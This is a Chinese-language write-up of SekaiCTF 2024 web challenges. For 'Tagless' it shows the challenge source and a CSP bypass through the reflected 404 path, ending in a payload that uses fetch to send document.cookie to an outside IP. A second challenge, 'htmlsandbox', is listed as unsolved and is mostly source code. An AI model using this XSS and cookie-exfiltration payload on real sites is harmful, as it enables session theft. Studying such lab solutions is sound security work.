前言
xss领域大神啊
你说得对,但今天是哈茨涅米库女士的生日,转发这条消息到五个群,中间忘了,反正会被骂一顿,但今天真的是哈茨涅米库女士的生日
事已至此,先打会pjsk吧(
参考:
https://hackmd.io/@Whale120/HJ_rpvujC?utm_source=preview-mode&utm_medium=rec#WEB
https://siunam321.github.io/ctf/SekaiCTF-2024/Web/Tagless/
https://blog.ankursundara.com/htmlsandbox-writeup/amp/
Targless
app.py
from flask import Flask, render_template, make_response,request
from bot import *
from urllib.parse import urlparse
app = Flask(__name__, static_folder='static')
@app.after_request
def add_security_headers(resp):
resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
return resp
@app.route('/')
def index():
return render_template('index.html')
@app.route("/report", methods=["POST"])
def report():
bot = Bot()
url = request.form.get('url')
if url:
try:
parsed_url = urlparse(url)
except Exception:
return {"error": "Invalid URL."}, 400
if parsed_url.scheme not in ["http", "https"]:
return {"error": "Invalid scheme."}, 400
if parsed_url.hostname not in ["127.0.0.1", "localhost"]:
return {"error": "Invalid host."}, 401
bot.visit(url)
bot.close()
return {"visited":url}, 200
else:
return {"error":"URL parameter is missing!"}, 400
@app.errorhandler(404)
def page_not_found(error):
path = request.path
return f"{path} not found"
if __name__ == '__main__':
app.run(debug=True)
/report 路由限制了必须是http://127.0.0.1
这样的本地ip
设置了csp:
script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;
注意到@app.errorhandler(404)
这里专门重写了404响应,会完整回显 path
bot.py
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time
class Bot:
def __init__(self):
chrome_options = Options()
chrome_options.add_argument("--headless")
chrome_options.add_argument("--disable-gpu")
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--disable-dev-shm-usage")
chrome_options.add_argument("--disable-extensions")
chrome_options.add_argument("--window-size=1920x1080")
self.driver = webdriver.Chrome(options=chrome_options)
def visit(self, url):
self.driver.get("http://127.0.0.1:5000/")
self.driver.add_cookie({
"name": "flag",
"value": "SEKAI{dummy}",
"httponly": False
})
self.driver.get(url)
time.sleep(1)
self.driver.refresh()
print(f"Visited {url}")
def close(self):
self.driver.quit()
很正常的chrome浏览器访问,设置了cookie为flag
那么我们的核心就在这个404带出完整 path 上了,明显能打反射型xss,遗憾的是我们并不能直接打<script>window.alert(1)</script>
,会被 CSP 拦下来
把 CSP 丢 Google CSP Evaluator 验一下
因为这里是script-src 'self'
,那么可以尝试这样绕过
<script src="/alert(1)"></script>
控制台报错Uncaught SyntaxError: unterminated regular expression literal
,此时就可以算是成功插入了,虽然被这个页面回显的/
和not found
影响到了 script 解析,但是我们可以用/*
、*/
、//
注释掉
<script src="/**/alert(1)//"></script>
于是绕过了CSP
既然绕过了CSP,接下来就直接让bot点就完事了,用fetch
请求带外
最终payload:
url=http://127.0.0.1:5000/<script src="/**/fetch('http://192.168.175.196:666/'+document.cookie);//"></script>
我再看看其它的文件:
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Tagless</title>
<link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet">
<link rel="stylesheet" href="https://unpkg.com/nes.css@2.3.0/css/nes.css" />
<style>
body, html {
height: 100%;
margin: 0;
display: flex;
justify-content: center;
align-items: center;
background-color: #212529;
color: #fff;
font-family: 'Press Start 2P', cursive;
}
.container {
text-align: center;
}
.nes-field, .nes-btn {
margin-top: 20px;
}
iframe {
width: 100%;
height: 300px;
border: none;
margin-top: 20px;
color: #212529;
background-color: #FFF;
font-family: 'Press Start 2P', cursive;
}
.nes-container.is-dark.with-title {
background-color: #212529;
}
</style>
</head>
<body>
<div class="container">
<section class="nes-container with-title is-centered is-dark">
<h2 class="title">Tagless Display</h2>
<div class="nes-field is-inline">
<label for="userInput" class="nes-text is-primary">Your Message:</label>
<input type="text" id="userInput" class="nes-input" placeholder="Hello, Retro World!">
</div>
<button id="displayButton" type="button" class="nes-btn is-primary">Display</button>
<div class="output">
<iframe id="displayFrame"></iframe>
</div>
</section>
</div>
<script src="/static/app.js"></script>
</body>
</html>
作为本地文件,可以用iframe
嵌入,而iframe
有个特性:所有被执行的 JavaScript 必须是被嵌入的网站本身有的,或者用srcdoc
(这个不受 csp 的frame-src
影响)
现在来看一下这里唯一的一个 JavaScript 脚本app.js
document.addEventListener("DOMContentLoaded", function() {
var displayButton = document.getElementById("displayButton");
displayButton.addEventListener("click", function() {
displayInput();
});
});
function sanitizeInput(str) {
str = str.replace(/<.*>/igm, '').replace(/<\.*>/igm, '').replace(/<.*>.*<\/.*>/igm, '');
return str;
}
function autoDisplay() {
const urlParams = new URLSearchParams(window.location.search);
const input = urlParams.get('auto_input');
displayInput(input);
}
function displayInput(input) {
const urlParams = new URLSearchParams(window.location.search);
const fulldisplay = urlParams.get('fulldisplay');
var sanitizedInput = "";
if (input) {
sanitizedInput = sanitizeInput(input);
} else {
var userInput = document.getElementById("userInput").value;
sanitizedInput = sanitizeInput(userInput);
}
var iframe = document.getElementById("displayFrame");
var iframeContent = `
<!DOCTYPE html>
<head>
<title>Display</title>
<link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet">
<style>
body {
font-family: 'Press Start 2P', cursive;
color: #212529;
padding: 10px;
}
</style>
</head>
<body>
${sanitizedInput}
</body>
`;
iframe.contentWindow.document.open('text/html', 'replace');
iframe.contentWindow.document.write(iframeContent);
iframe.contentWindow.document.close();
if (fulldisplay && sanitizedInput) {
var tab = open("/")
tab.document.write(iframe.contentWindow.document.documentElement.innerHTML);
}
}
autoDisplay();
sanitizeInput
这里过滤了html tag,不过可以用 <img src=1.jpg;
这样的方式来插入一个html标签,虽然只能插入一个
感觉没啥用,随便记一下
htmlsandbox(Unsolved)
server.js
const express = require('express');
const puppeteer = require('puppeteer');
const redis = require('redis');
const crypto = require('node:crypto');
const path = require('node:path');
const EVENTS = ["onsearch","onappinstalled","onbeforeinstallprompt","onbeforexrselect","onabort","onbeforeinput","onbeforematch","onbeforetoggle","onblur","oncancel","oncanplay","oncanplaythrough","onchange","onclick","onclose","oncontentvisibilityautostatechange","oncontextlost","oncontextmenu","oncontextrestored","oncuechange","ondblclick","ondrag","ondragend","ondragenter","ondragleave","ondragover","ondragstart","ondrop","ondurationchange","onemptied","onended","onerror","onfocus","onformdata","oninput","oninvalid","onkeydown","onkeypress","onkeyup","onload","onloadeddata","onloadedmetadata","onloadstart","onmousedown","onmouseenter","onmouseleave","onmousemove","onmouseout","onmouseover","onmouseup","onmousewheel","onpause","onplay","onplaying","onprogress","onratechange","onreset","onresize","onscroll","onsecuritypolicyviolation","onseeked","onseeking","onselect","onslotchange","onstalled","onsubmit","onsuspend","ontimeupdate","ontoggle","onvolumechange","onwaiting","onwebkitanimationend","onwebkitanimationiteration","onwebkitanimationstart","onwebkittransitionend","onwheel","onauxclick","ongotpointercapture","onlostpointercapture","onpointerdown","onpointermove","onpointerrawupdate","onpointerup","onpointercancel","onpointerover","onpointerout","onpointerenter","onpointerleave","onselectstart","onselectionchange","onanimationend","onanimationiteration","onanimationstart","ontransitionrun","ontransitionstart","ontransitionend","ontransitioncancel","onafterprint","onbeforeprint","onbeforeunload","onhashchange","onlanguagechange","onmessage","onmessageerror","onoffline","ononline","onpagehide","onpageshow","onpopstate","onrejectionhandled","onstorage","onunhandledrejection","onunload","onpageswap","onpagereveal","onoverscroll","onscrollend","onscrollsnapchange","onscrollsnapchanging","ontimezonechange"];
const EVENT_SELECTOR = EVENTS.map(e=>`*[${e}]`).join(',');
let client;
let browser;
(async () => {
browser = await puppeteer.launch({
headless: true,
pipe: true,
//dumpio: true,
args: [
'--incognito',
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
]
});
console.log('init browser');
client = await redis.createClient({ url: `redis://default@${process.env.REDIS_HOST}:${process.env.REDIS_PORT}` })
.on('error', err => console.log('Redis Client Error', err))
.connect();
console.log('redis connected');
})()
async function validate(url) {
let valid = false;
let context;
try {
context = await browser.createBrowserContext();
const page = await context.newPage();
page.setDefaultTimeout(2000);
// no shenanigans!
await page.setJavaScriptEnabled(false);
// disallow making any requests
await page.setRequestInterception(true);
let reqCount = 0;
page.on('request', interceptedRequest => {
reqCount++;
if (interceptedRequest.isInterceptResolutionHandled()) return;
if (reqCount > 1) {
interceptedRequest.abort();
}
else
interceptedRequest.continue();
});
console.log(`visiting ${url}...`);
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
valid = await page.evaluate((s) => {
// check CSP tag is at the start
// check no script tags or frames
// check no event handlers
return document.querySelector('head').firstElementChild.outerHTML === `<meta http-equiv="Content-Security-Policy" content="default-src 'none'">`
&& document.querySelector('script, noscript, frame, iframe, object, embed') === null && document.querySelector(s) === null
}, EVENT_SELECTOR) && reqCount === 1;
}
catch (e) {
console.error(e);
}
finally {
if (context) await context.close();
}
return valid;
}
// Setup Express
const app = express();
const port = 3000;
app.use(express.urlencoded({ extended: false }));
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'index.html'));
})
app.post('/upload', async (req, res) => {
let html = req.body.html;
if (!html)
return res.status(400).send('No html.');
html = html.trim();
if (!html.startsWith('<html>'))
return res.status(400).send('Invalid html.')
// fast sanity check
if (!html.includes('<meta http-equiv="Content-Security-Policy" content="default-src \'none\'">'))
return res.status(400).send('No CSP.');
html = btoa(html);
// check again, more strictly...
if (!await validate('data:text/html;base64,' + html))
return res.status(400).send('Failed validation.');
const id = crypto.randomBytes(10).toString('hex');
await client.set(id, html, { EX: 300 });
res.send(`<a href="/upload/${id}">File uploaded!</a>`);
});
app.get('/upload/:id', async (req, res) => {
const id = req.params.id;
const data = await client.get(id);
if (!data)
return res.status(404).send('File not found.');
const html = Buffer.from(data, 'base64');
res.end(html);
});
app.listen(port, () => {
console.log(`Server listening on port ${port}`);
});
adminbot_test.js
// npm i puppeteer
// script to emulate admin bot
const puppeteer = require("puppeteer");
const FLAG = "SEKAI{test_flag}";
const SITE = "https://htmlsandbox.chals.sekai.team";
const target = process.argv[2];
const visit = async (url) => {
let browser;
try {
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
dumpio: true
});
let page = await browser.newPage();
await page.goto(SITE, { timeout: 3000, waitUntil: 'domcontentloaded' });
await page.evaluate((flag) => {
localStorage.setItem("flag", flag);
}, FLAG);
await page.close();
page = await browser.newPage();
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
await new Promise((res)=>setTimeout(res, 3000));
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
};
if (target.startsWith('https://') || target.startsWith("http://")) {
visit(target);
}
过滤有点爆炸了,歇一会再看(
貌似是字符集绕过